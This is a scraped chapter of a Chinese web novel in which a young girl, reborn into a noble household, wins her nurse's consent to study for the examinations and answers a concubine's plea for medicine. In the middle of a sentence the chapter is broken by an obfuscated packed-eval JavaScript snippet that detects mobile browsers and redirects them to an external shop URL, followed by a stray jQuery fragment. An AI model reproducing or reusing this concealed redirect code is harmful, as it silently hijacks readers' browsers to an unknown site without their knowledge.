文趣网 > 其他小说 > 光明正大上朝去 > 9. 交心
    噼啪!

    屋内一时寂然,蜡烛爆灯花的声音清晰可闻。

    君如明白,从事理来论说,是说服不了姑姑的,唯有在情理上一试……

    把凌姑姑扶到床边坐下,又把早已愣住的双棠拉过来,君如才带着哭腔开口。

    “姑姑,双棠,你们知道的,阿母是先封为县君,然后才是伯爵府夫人。我还小的时候,有一回听见阿母和阿伯吵起来。阿母气坏了,放下狠话说她不做这个伯爵府夫人了,要回平陆去做县君,阿伯一下就不敢吵嚷了。”

    “我自小当这样的是平常事。可跟着阿母出门多了,我才知道阿伯阿母却是别人眼中的异类,女子本该在家从父、出嫁从夫、夫死从子,阿伯在阿母面前低声顺气的,乃是所谓的无能之人。”

    “可是我阿伯开国伯的爵位,是在战场上一刀一枪拼出来的,这样的男子,本就是顶天立地的大英雄。何况在陛下年老时,能护着孟家安然无恙的,岂是蠢笨之辈?为什么会因为不对着阿母颐指气使,就被嘲笑呢?难道男子们的气概都要靠女子们低到泥里去,才能衬托出来吗?”

    说到激动处,君如实在忍不住,扑到凌姑姑怀里大哭起来。

    “姑姑,我不要这样!我不要做红袖,也不想当别人书房的香,我要做拿着笔的人!我想像阿母一样,像徐老夫人一样,我读书是为了我自己,不是为了让所谓的夫君面上有光的……”

    抱住怀里嚎啕大哭的君如,凌姑姑痛苦地闭上眼,心如刀割。

    是她太过想当然了,忽视了君如还只是个七岁的孩子。

    她自己是一路看着孟家发家的,从乡野隐士到京城伯爵,无论是穷苦人家还是富贵大族她都见过,深知女子只有依附于男子才能存活;像县君和徐宜人这样出众的女子,哪怕有本朝开国这样的天时地利人和,拢共也才七八人啊……

    自家姑娘性子这般要强,日后如何在丈夫手下过日子呢?不见多少大户人家的大娘子,就是因此不得丈夫欢喜,被那些个小娘明里暗里地压到了头上。

    罢、罢、罢!姑娘要考童子科便考吧,总归也只能考到十五岁,到二十岁出嫁也还有四五年,到那时候再督着姑娘学一学后宅事务,想来也不至于太耽误的。何况还有自己在呢,姑娘去哪儿她都是跟着的,总不会让人欺负到姑娘头上的。

    拿定了主意,凌姑姑便不再说拦着的话了。只叹了一口气,掏出帕子来,叫双棠扶住君如,自己将君如脸上的泪细细地擦净了。

    君如眼上还有些发烫,却忍不住弯着嘴笑起来,姑姑这是依着她的意思了。

    打前世她就明白,孤军奋战、四面树敌是最不可取的。

    小学的老师喜欢她的乖巧勤奋,私底下除了会教她许多书本上没有的道理之外,还常常会给些甜口的东西。抓着这些零嘴的时候,她自己也馋得直咽唾液,可还是将这些都分了出去。

    老师对她偏着好,在学校里头是瞒不住的,可是这事她直觉这种事不好传到村里。于是她就和班里的几个孩子说,老师喜欢她,给她糖,大家还能一块有得吃;像其他年级,老师没什么偏向的,也并没有把糖分出来,大家都没得吃……

    刚进小学的孩子已经开始晓事了,知道利害,在一年到头也吃不上两次的果糖面前,几张嘴比焊上的还牢实,甚至还主动给她通风报信,让她免了好些打骂。

    去徐氏学堂之后,日日要一心钻研书经诗赋,对后宅暗涌就难以亲力亲为,双砚斋必须要拧成一团她才放心。

    凌姑姑除了敬着她这个主子,也是真心疼爱她,否则不至于因为她掉两滴泪就心软,连贤德淑雅那一套也顾不得了。还好是如她所料,否则的话,姑姑还是去管库房或者教养小丫鬟,早早养老的好……

    君如乖巧地坐在双棠怀里,冲着给她整理外衣的凌姑姑露出个羞怯的笑,像是害羞自己刚刚不管不顾地哭过一场,又往前倾搂住凌姑姑的手臂。

    “自打我生下来,姑姑就照顾我,日后也是要跟着我出门子的,我晓得姑姑说这些都是为着我,不想我去吃那些本不用吃的苦,只是我实在是……就请姑姑容我任性一回吧,日后双砚斋可还得姑姑来替我看着呢。”

    君如温热的身子贴过来,直暖到了凌姑姑心里。

    “你呀你,就是我总帮着你,才叫你养得这样胆大!你看双棠,都被你的话吓坏了是不是?”

    两人转头去看双棠,不由得都笑起来:果然是一副疑惑又不好张嘴问的样子呢!

    双棠是孟府买来的,一直跟在君如身边,今年也有十一二岁了。

    战乱那些年,贫苦人家典妻卖女才能换来一口粮。孟府刚在京里定下来的时候,恰好也是要雇些人的,又很是可怜流离失所的孩子们,算是半买半收留地养了好些,全都花钱入了民籍的,签的是凭雇契。

    听了凌姑姑的话,双棠也跟着笑笑,随即正了正神色:“姑姑见得多,刚刚这番话自有姑姑的道理。只是像我们这样的,是巴不得姑娘能拿得定主意的呢!有姑娘这样的主心骨在,我们双砚斋的人心里头才有依靠。”

    “这些年姑娘待我们如何,我们是都记在心里的,都晓得姑娘不会不管我们——至于什么考不考童子科,如何与府中上下的往来,自有姑娘做主,我们定然是听着姑娘吩咐的。”

    听了双棠的话,凌姑姑心情有些复杂,却明白院里的人都这般才好呢。君如还窝在凌姑姑怀里,眉头也跟着舒展开来。

    双棠觑见君如满意的神色,也明白自己的心思是合了姑娘的意思,心里跟着松下来,屋内一时欢笑连连。

    笃笃笃——

    门外传来响动,吓了几人一跳。

    一个身着青白色窄袖襦裙、腰系素色布带的二等女使低着头走进来,原是刚来双砚斋不久的沅儿。

    凌姑姑极为不满,肃着脸站起来:“沅儿,你这是何意?莫不是规矩都白学了?没有姑娘传召,夜半三更,你一个二等女使怎么敢擅自来姑娘的寝室!”

    沅儿急急跪下来,伏下身子说道:“奴婢知错,请姑姑责罚。奴婢来是因着夏小娘那边有事想请姑娘帮衬,奴婢知道明后两日皆有要事,不敢叫姑娘烦忧,这才在此时禀报。”

    凌姑姑回头,见君如微微颔首,便

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703367|208265||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    叫沅儿先将事说来。

    “夏小娘那边的巧巧今日找来奴婢,说先夫人在世时,听府医说夏小娘底子差,便给夏小娘找了调理的方子,还帮着买了好些效用实在的药材。去福州后,大娘子克扣太过,又不许夏小娘出府采买药物,如今夏小娘身子实在是虚得厉害,几个月前被一碗五苓散就落了胎,想请姑娘帮忙买些进补的东西。”

    沅儿虽是浑身哆嗦,却将事情说得一清二楚。

    夏小娘好灵活的心思!君如不由得赞一声。

    在书中,原主被养得不谙世事,一见面就被林德柔拢了去。得了夏小娘那边的来信,竟傻到直接去问大娘子,自然是被林德柔三言两语哄骗了去,也跟着鄙夷和排挤夏小娘和歆如。

    如今,君如接了夏小娘的示好,也算是领教到了这女子的聪慧。这番话乍听只是陈列往事,却将夏小娘和她母亲的情分、夏小娘和大娘子的争斗都说得明明白白,叫人顾虑都生不出来。

    初去福州时,夏小娘还不甚得宠,被大娘子搓揉也就罢了。后来父亲对大娘子日渐不喜,常去夏小娘的拾翠院,夏小娘慢慢就立起来了。如今在孟府,夏小娘想叫下人买些年份好的药材,顶多是多费些银钱罢了,何须巴巴地求到她这里来?不过是想算个情分。

    既如此,君如也不介意卖夏小娘一个好。

    “若不想明着和大娘子对上,便让夏小娘去我阿母那吧。阿母管着府里头,我与阿母说一声,想来也不容易被察觉的。”

    “今日是你莽撞了,不该随意坏了规矩,明日去找姑姑领罚吧。日后若要来见我,先去找双棠来通报。此次你也是事出有因,明日找你桐姐姐拿一碟子点心,去吧。”

    君如语气温和地说完,又叫双棠把沅儿扶起来。

    沅儿来时已抱定了被打骂甚至被赶出去的主意,不曾想主子如此仁和。她心下后怕,出了一身冷汗,几乎要站不住,被双棠搀着才蹒跚出去。

    凌姑姑倒来一盏温水,有些奇道:“姑娘对沅儿这样好性子,莫不是想把她拢过来?只是她能留在府中,又在咱们这当上了二等女使,也算是受了夏小娘的恩情,拢过来怕是费功夫得很。”

    君如就着凌姑姑的手喝了半盏子水,闻言笑着晃了晃腿。

    “我倒是觉着,夏小娘并没有要收了沅儿的心思,沅儿也并不愿意当夏小娘的人。”

    至于依据?自然是原书里头写着的,目前是还看不出来什么的。对上凌姑姑的询问,君如只好耍赖:“总归我是这么觉着的,姑姑就看日后可好?”

    凌姑姑无奈,“那姑娘岂不是自相矛盾?若你真没把沅儿看作是夏小娘的人,刚刚怎的是这副摸样?对着双棠她们,你可没这么好说话。”

    君如往床上一躺,失笑道:“姑姑你看沅儿那孩子,活像我能吞了她似的。她正担心我把她算作夏小娘的人、不肯信她呢,若是我真的厉声厉色,岂不是真要把她给吓坏了?”

    凌姑姑抿唇笑着,给君如拉上了吁江藤纸被,又吹灭了蜡烛。

    姑娘可真是,沅儿也是七八岁的样子呢,哪里就到了管人家叫孩子呢……